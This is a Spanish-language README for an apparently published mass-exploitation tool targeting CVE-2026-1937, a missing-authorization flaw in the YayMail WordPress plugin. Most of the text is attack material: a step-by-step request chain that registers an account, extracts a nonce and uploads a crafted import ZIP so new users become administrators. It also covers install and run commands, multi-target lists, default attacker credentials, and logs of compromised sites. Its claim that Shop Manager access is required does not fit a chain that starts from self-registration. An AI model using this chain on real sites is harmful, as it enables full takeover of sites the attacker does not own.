
YayMail <= 4.3.2 - Falta de autorización para la actualización arbitraria de opciones por parte de usuarios autenticados (Shop Manager+) a través de la acción AJAX 'yaymail_import_state'
Descripción:
El plugin YayMail – WooCommerce Email Customizer para WordPress es vulnerable a la modificación no autorizada de datos que conduce a la escalada de privilegios en todas las versiones hasta la 4.3.2 inclusive. La acción AJAX yaymail_import_state está registrada sin ninguna comprobación de capacidades en el servidor, lo que permite a atacantes autenticados con acceso de nivel Shop Manager o superior invocarla libremente. Al subir un archivo ZIP de importación manipulado, el atacante puede sobrescribir silenciosamente opciones arbitrarias del sitio WordPress, incluido el establecimiento del rol predeterminado de nuevos usuarios en administrator y la habilitación del registro público abierto. Una vez inyectadas estas opciones, cualquier visitante puede registrarse por sí mismo en el sitio y recibir una cuenta completa de Administrador de WordPress, lo que resulta en un compromiso total del sitio.
Esta es una cadena de explotación masiva de Prueba de Concepto (PoC) dirigida a instalaciones de WordPress + WooCommerce que ejecutan una versión vulnerable del plugin YayMail. La herramienta implementa un ataque completo de extremo a extremo: registro en WooCommerce → inicio de sesión → extracción del nonce de YayMail → explotación de yaymail_import_state → verificación de administrador.
[Phase 1 — Registration]
GET /my-account/ → Extract WooCommerce register nonce
POST /my-account/ → Register new account (WooCommerce form)
→ Save credentials to reg.txt
↓
[Phase 2 — Login]
POST /wp-login.php → Try WordPress native login
POST /my-account/ (WooC.) → Fallback WooCommerce login
→ Establish authenticated session
↓
[Phase 3 — Admin Pre-check]
GET /wp-admin/ → If already admin, skip to result
↓
[Phase 4 — YayMail Exploit]
GET /wp-admin/admin.php?page=yaymail-settings
→ Extract: ajax_url + nonce
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_nonce>
import_file=yaymail_backup.zip
→ Override WordPress options:
· default_role = administrator
· users_can_register = 1
↓
[Phase 5 — Admin Verification]
GET /wp-admin/ → Check adminmenu / wp-admin-bar
GET /wp-admin/users.php → Confirm manage_options access
↓
[Save to Nx_admin.txt]
Format: [timestamp] https://target.com user:<u> pass:<p>
yaymail_backup.zip — payload de importación manipulado (requerido)pip install requests urllib3 rich
O mediante el archivo de requisitos:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1937.git
cd CVE-2026-1937
# Install dependencies
pip install -r requirements.txt
# Place your crafted import payload in the same directory
cp /path/to/yaymail_backup.zip .
# Run the tool
python3 CVE-2026-1937.py
python3 CVE-2026-1937.py
La herramienta utiliza una interfaz de terminal totalmente interactiva impulsada por Rich.
Cree un archivo de texto plano (por defecto: list.txt) — un objetivo por línea:
https://target1.com
https://target2.com
http://target3.com
target4.com
Los objetivos sin
http://ohttps://reciben automáticamente el prefijohttps://.
Username [Nx_admin]: Nx_admin
Password [Nx_adminSA]: Nx_adminSA
Email [[email protected]]: [email protected]
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
yaymail_backup.zipLa explotación requiere un archivo ZIP de importación de YayMail manipulado que sobrescribe las siguientes opciones de WordPress al importarse:
| Opción de WordPress | Valor inyectado |
|---|---|
default_role | administrator |
users_can_register | 1 |
⚠️ La herramienta se negará a ejecutarse si
yaymail_backup.zipno está presente en el directorio de trabajo.
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_from_yaymail_settings_page>
import_file=yaymail_backup.zip (multipart upload)
Causa raíz:
El manejador yaymail_import_state no llama a current_user_can() ni a ninguna comprobación de capacidades equivalente antes de procesar la importación. Cualquier usuario con el rol shop_manager (o superior) puede invocar esta acción libremente y sobrescribir entradas arbitrarias de la tabla wp_options mediante el mecanismo de importación ZIP.
La herramienta escanea automáticamente las siguientes rutas en busca de los formularios de registro e inicio de sesión:
/my-account/ /my_account/ /My-account/
/account/ /myaccount/ /customer-login/
/login/ /register/ /sss/
| Archivo | Descripción |
|---|---|
reg.txt | Todos los registros exitosos de WooCommerce con sus credenciales |
Nx_admin.txt | Todas las escaladas a administrador confirmadas |
reg.txt:
[2026-03-01 14:22:10] https://target.com user:Nx_admin email:[email protected] pass:Nx_adminSA
Nx_admin.txt:
[2026-03-01 14:22:18] https://target.com user:Nx_admin pass:Nx_adminSA | yaymail import
╔══════════════════════════════════════════════════════════════════╗
║ WooCommerce · YayMail · Mass Exploit Chain ║
║ By: Nxploited | GitHub: github.com/Nxploited | @Kxploit ║
╚══════════════════════════════════════════════════════════════════╝
[SCAN] https://target.com
[REGISTERED] https://target.com :: user: Nx_admin pass: Nx_adminSA
[LOGIN-WP] https://target.com :: wp-login.php
[SEARCH-NONCE] https://target.com :: not admin, trying YayMail chain
[NONCE-FOUND] https://target.com :: nonce: a1b2c3d4e5
[EXPLOIT] https://target.com :: nonce: a1b2c3d4e5
[SUCCESS] https://target.com :: user: Nx_admin pass: Nx_adminSA
┌──────────────────────────────────────────────────────────────────┐
│ Target │ Status │ Credentials / Note │
├──────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ EXPLOITED (ADMIN VERIFIED) │ user: Nx_admin … │
│ https://target2.com │ NO-REGISTER │ │
│ https://target3.com │ DEAD │ │
└──────────────────────────────────────────────────────────────────┘
Por: Nxploited (Khaled Alenazi)
ESTA HERRAMIENTA SE PROPORCIONA ÚNICAMENTE CON FINES EDUCATIVOS Y DE INVESTIGACIÓN DE SEGURIDAD AUTORIZADA.
El autor, Nxploited (Khaled Alenazi), y todos los colaboradores de este proyecto no aprueban, apoyan ni asumen responsabilidad alguna por el mal uso de esta herramienta o por cualquier daño causado por el uso de este software contra sistemas para los cuales usted no cuenta con autorización explícita por escrito.
- ✅ Permitido: Utilizarla en sistemas propios o para los que se le haya otorgado permiso explícito por escrito para realizar pruebas.
- ❌ Prohibido: Utilizarla contra cualquier sistema sin la autorización explícita previa por escrito del propietario del sistema.
El acceso no autorizado a sistemas informáticos es ilegal y está sujeto a sanciones conforme a las leyes aplicables, incluidas, entre otras, la Computer Fraud and Abuse Act (CFAA), la Computer Misuse Act (CMA) y la legislación equivalente en todo el mundo.
Al utilizar esta herramienta, usted acepta la responsabilidad única y total de sus acciones y confirma que tiene la autoridad legal para probar los sistemas objetivo.
El autor no asume responsabilidad alguna por daños directos, indirectos, incidentales o consecuentes que surjan del uso o mal uso de este software.
© 2026 Nxploited (Khaled Alenazi) — Solo para investigación de seguridad autorizada.
| Campo | Detalles |
|---|
| ID CVE | CVE-2026-1937 |
| Gravedad | ALTA — Puntuación CVSS v3.1: 7.2 |
| Vector | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Investigador | Daniel Basta (whizzu) — NASK PIB |
| Publicado públicamente | 17 de febrero de 2026 |
| Última actualización | 27 de marzo de 2026 |
| Software afectado | YayMail – WooCommerce Email Customizer Plugin para WordPress |
| Versiones afectadas | Todas las versiones hasta la 4.3.2 inclusive |
| Tipo de vulnerabilidad | Autorización faltante → Actualización arbitraria no autorizada de opciones → Escalada de privilegios |
| Autenticación requerida | Sí — nivel Shop Manager o superior |
| CWE | CWE-862: Autorización faltante |
| Estado | Color | Significado |
|---|
EXPLOITED (ADMIN VERIFIED) | 🟢 Verde | Éxito de la cadena completa — administrador confirmado |
EXPLOITED (ADMIN) | 🟢 Verde | El usuario registrado ya era administrador |
PARTIAL | 🟡 Amarillo | La importación de YayMail se realizó correctamente pero no se confirmó el acceso de administrador |
REGISTERED | 🟡 Amarillo | El registro en WooCommerce se realizó correctamente |
LOGIN-WP | 🔵 Cian | Sesión iniciada a través de /wp-login.php |
LOGIN-WOO | 🔵 Cian | Sesión iniciada a través del formulario de WooCommerce |
NONCE-FOUND | 🟣 Magenta | Nonce de YayMail extraído correctamente |
NO-REGISTER | ⚫ Oscuro | No se encontró el formulario de registro de WooCommerce |
LOGIN-FAILED | ⚫ Oscuro | No se pudo establecer una sesión autenticada |
NONCE-NOT-FOUND | ⚫ Oscuro | Página de ajustes de YayMail inaccesible o nonce ausente |
EXPLOIT-FAILED | 🔴 Rojo | La llamada a yaymail_import_state no devolvió éxito |
TIMEOUT | ⚫ Oscuro | Tiempo de espera de HTTP agotado |
DEAD | ⚫ Oscuro | Conexión rechazada / inalcanzable |
ERROR | 🔴 Rojo | Excepción inesperada |